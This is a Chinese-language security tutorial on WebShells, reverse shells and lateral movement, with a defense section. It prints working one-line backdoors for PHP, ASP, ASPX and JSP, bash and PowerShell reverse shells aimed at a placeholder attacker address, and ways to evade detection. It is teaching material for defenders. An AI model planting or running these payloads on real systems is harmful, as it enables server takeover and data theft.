注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。


一、WebShell 核心技术与分类

WebShell 是攻击者通过漏洞植入服务器的恶意脚本,用于非法控制目标系统,其技术细节和分类如下:

1.1 WebShell 基础定义

一种基于网页脚本(PHP、ASP、JSP、ASPX 等)的恶意程序,依托 Web 服务运行,可执行文件操作、命令执行、数据库操控等功能。

  • 核心特点:隐蔽性强(常伪装为正常文件)、功能灵活、依赖服务器脚本解析环境。

  • 典型特征:通过代码执行函数(如eval)或命令执行函数(如system)接收外部指令并执行。

1.2 各语言 WebShell 的核心函数与示例

不同脚本语言的 WebShell 依赖各自的代码执行或命令执行函数,具体如下:

(1)PHP WebShell

PHP 因广泛应用于 Web 开发,是 WebShell 的主要载体,核心函数包括:

  • 代码执行函数(将字符串作为代码执行):

    • eval():最常用的代码执行函数,需以分号结尾。

      示例:<?php eval($_REQUEST['cmd']); ?>
      用法:?cmd=system('whoami');(执行系统命令)
    • assert():PHP 7.2 前支持字符串参数,直接执行代码。

      <?php assert($_GET['x']); ?> → ?x=phpinfo();
    • preg_replace()(带/e修饰符):PHP 5.5 前可用,替换内容作为代码执行。

      <?php @preg_replace("/test/e", $_POST['cmd'], "test"); ?>
    • 回调函数(array_map()、call_user_func()等):将参数作为函数调用。

      <?php call_user_func($_GET['func'], $_GET['cmd']); ?> → ?func=system&cmd=ipconfig
  • 命令执行函数(直接调用系统命令):

    • system():执行命令并输出结果(带换行)。

      <?php system($_GET['cmd']); ?> → ?cmd=ls
    • exec():返回命令输出的最后一行(需数组接收完整结果)。

      <?php exec($_GET['cmd'], $output); print_r($output); ?>
    • 其他:shell_exec()(返回完整输出字符串)、passthru()(输出原始结果)、popen()(通过管道读写命令输出)。

(2)ASP WebShell

基于 VBScript,依赖eval或execute执行代码,通过wscript.shell对象执行系统命令:

  • 代码执行:

    <%eval request("cmd")%> → ?cmd=response.write("test")
  • 命令执行:

    <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%>
  • 用法:?cmd=ipconfig(输出命令结果)

(3)ASPX WebShell(.NET 框架)

基于 C# 或 JScript,通过Process类执行命令或eval执行代码:

  • JScript 一句话:<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
    用法:蚁剑连接(密码pass),或执行命令:?pass=new ActiveXObject('WScript.shell').Exec('cmd.exe /c whoami').StdOut.ReadAll()

  • C# 命令执行(aspx):

    <%@ Page Language="C#" %>
    <% 
        string cmd = Request["cmd"];
        var proc = new System.Diagnostics.Process();
        proc.StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + cmd) { RedirectStandardOutput = true, UseShellExecute = false };
        proc.Start();
        Response.Write(proc.StandardOutput.ReadToEnd());
    %>
    

    用法:?cmd=whoami

(4)JSP WebShell

基于 Java,通过Runtime.getRuntime().exec()执行系统命令:

  • 基础一句话(无输出):

    <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> → ?cmd=calc(执行计算器)
  • 带输出版本(jsp):

    <% 
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process p = Runtime.getRuntime().exec(cmd);
            java.io.InputStream is = p.getInputStream();
            int i;
            while ((i = is.read()) != -1) out.print((char)i);
        }
    %>
    

    用法:?cmd=ipconfig

1.3 WebShell 的分类:大马、小马与隐形马

根据功能复杂度和隐蔽性,WebShell 可分为三类:

分类核心特征功能特点典型场景
大马体积大(几 KB 到几十 KB),功能全面集成文件管理、数据库操作、提权工具、流量监控等模块入侵后长期控制服务器,支撑深度操作(如数据窃取、横向渗透)
小马体积小(几百字节到 1KB),代码精简仅保留核心功能(如命令执行、简单上传),无多余模块漏洞利用阶段快速上传,验证权限后再部署大马
隐形马隐蔽性为核心设计,体积不固定功能可简可繁,但必含混淆(如 Base64 加密)、伪装(如嵌入图片)等隐蔽手段目标有严格防护(WAF、EDR)时,用于长期潜伏,规避检测

1.4 JSP 与 ASPX 一句话木马的核心区别

因技术体系不同,JSP 和 ASPX 一句话木马在运行环境、语法等方面存在显著差异:

对比维度

JSP 一句话木马

ASPX 一句话木马

运行环境

依赖 JVM,部署于 Tomcat、Jetty 等 Java 服务器

依赖.NET Framework,运行于 IIS 服务器

语法基础

基于 Java,使用java.lang.Runtime等类库

基于 C#/VB.NET,使用System.Diagnostics.Process等.NET 类库

核心执行函数

Runtime.getRuntime().exec()

System.Diagnostics.Process.Start()

权限依赖

JVM 进程运行的用户权限(如 Tomcat 服务账户)

IIS 应用池配置的权限(如 Network Service)

检测特征

含java.lang.Runtime、exec等 Java 关键词

含System.Diagnostics.Process、.Start()等.NET 关键词

二、WebShell 的攻击与防御

攻击者通过多种手段利用 WebShell 入侵系统,需针对性构建防御体系:

2.1 一句话木马的用途与攻击场景

  • 核心用途:远程控制服务器,包括执行命令、操作文件、操控数据库、提权、持久化控制等。

  • 典型场景:

    • 漏洞利用后:通过文件上传、SQL 注入等漏洞植入,作为长期后门;

    • 内网渗透辅助:在边界服务器执行端口扫描、凭证窃取,支撑横向移动;

    • 绕过基础防护:利用代码精简、变形特性,躲避简单检测规则。

2.2 攻击者的常见绕过技术

为躲避安全软件查杀,攻击者常采用以下手段:

  • 特征码变形:函数名拼接(如$f='sy'.'stem')、大小写混淆(@EvaL)、插入特殊字符;

  • 行为隐藏:条件激活(仅特定 IP 触发)、分阶段加载(远程下载恶意代码后执行);

  • 加密与混淆:Base64/XOR 加密核心代码、语法拆分(如动态拼接命令);

  • 文件伪装:嵌入图片文件头(如GIF89a)、利用服务器解析漏洞(如.php;.jpg)。

2.3 WebShell 的防御措施

需从开发、配置、监控多层面构建防御:

  • 代码层面:严格过滤用户输入,禁用危险函数(如 PHP 的disable_functions);

  • 服务器配置:遵循最小权限原则(Web 服务用低权限账户),限制文件上传目录权限(非执行目录 + 只读);

  • 安全监控:部署 WAF 拦截恶意请求,定期扫描异常文件,监控 Web 日志中的可疑操作;

  • 应急响应:定期备份数据,制定木马清除流程,发现入侵后隔离受影响系统并溯源。

三、反弹 Shell 技术

反弹 Shell 是攻击者获取目标服务器交互式控制的重要手段,其原理与实现如下:

3.1 定义与原理

目标机器主动连接攻击者的监听端口,将命令行权限反向传递,绕过防火墙对入站连接的限制。

  • 与正向连接的区别:正向连接需攻击者主动连接目标开放端口(易被防火墙拦截),反弹 Shell 由目标主动发起连接(更易绕过防护)。

3.2 实现方式

  • Linux 系统:

    bash -i >& /dev/tcp/攻击者IP/端口 0>&1  # 通过Bash反弹
    
  • Windows 系统(PowerShell):

    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    

3.3 常见问题与解决

  • “拒绝访问”:因权限不足(需管理员权限)或 PowerShell 执行策略限制(临时修改为Bypass);

  • 防火墙拦截:检查目标服务器出站规则,确保目标端口(如 8888)未被禁止。

四、内网渗透基础

攻击者入侵边界设备后,通过横向扫描与渗透扩大控制范围:

4.1 横向扫描

入侵单台主机后,扫描内网其他设备的 IP、端口、服务及漏洞,收集信息为横向渗透做准备。

  • 常用手段:nmap IP 扫描(nmap -sn 192.168.1.0/24)、端口扫描(nmap -p 1-100 目标IP)、弱口令探测。

4.2 横向渗透

基于扫描结果,从已控制主机向内网其他设备扩散,扩大控制范围。

  • 常用手段:利用窃取的凭证登录(如远程桌面、SSH)、利用内网漏洞(如永恒之蓝)、通过共享服务(如 SMB)移动。

五、防火墙与安全防护补充

防火墙是网络安全的重要防线,需了解其对恶意行为的拦截逻辑及配置检查方式:

5.1 防火墙拦截反弹 Shell 的原因

  • 识别异常出站连接(陌生 IP + 非标准端口);

  • 匹配高危操作特征(如iex命令、TCPClient网络连接);

  • 触发入侵检测规则(非常规端口双向通信、可疑进程行为)。

5.2 防火墙出站规则检查

  • 图形界面:通过wf.msc打开 “高级安全防火墙”,查看 “出站规则” 筛选目标端口;

  • 命令行:

    • //PowerShell:
      
      Get-NetFirewallRule -Direction Outbound | Where-Object { $_.RemotePort -eq 8888 } | Select-Object Action, Enabled
    • //CMD:
      
      netsh advfirewall firewall show rule all direction=out | findstr /i "8888 阻止"

六、其他核心安全概念

6.1 PHP 的disable_functions配置

  • 作用:在php.ini中禁用高风险函数(如exec、system),防御命令注入。

  • 配置示例:disable_functions = exec, system, shell_exec, eval(需重启 Web 服务生效)。

  • 局限性:可能被未禁用函数(如mail参数注入)或扩展(如FFI)绕过。

6.2 彩虹表

预先计算的哈希值与明文对应表,用于快速破解密码哈希。

  • 原理:结合暴力法与查表法,通过哈希函数(H)和还原函数(R)构建链条,减少存储空间。

  • 局限性:对加盐(salt)密码效果差,破解成功率非 100%。

6.3 动态网页技术

  • JSP:基于 Java,跨平台,运行于 Tomcat 等服务器,支持 Java 类库;

  • ASPX:微软技术,基于.NET 框架,依赖 Windows+IIS,支持 C#/VB.NET。

七、安全防御总结建议

  1. 禁用危险函数(如eval、exec),严格过滤用户输入,限制文件上传权限;

  2. 部署 WAF 和 IDS,监控异常网络连接与命令执行行为;

  3. 遵循最小权限原则,定期备份数据,及时更新系统与框架漏洞;

  4. 限制服务器出站连接,加强内网访问控制,定期开展安全审计与渗透测试。


注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐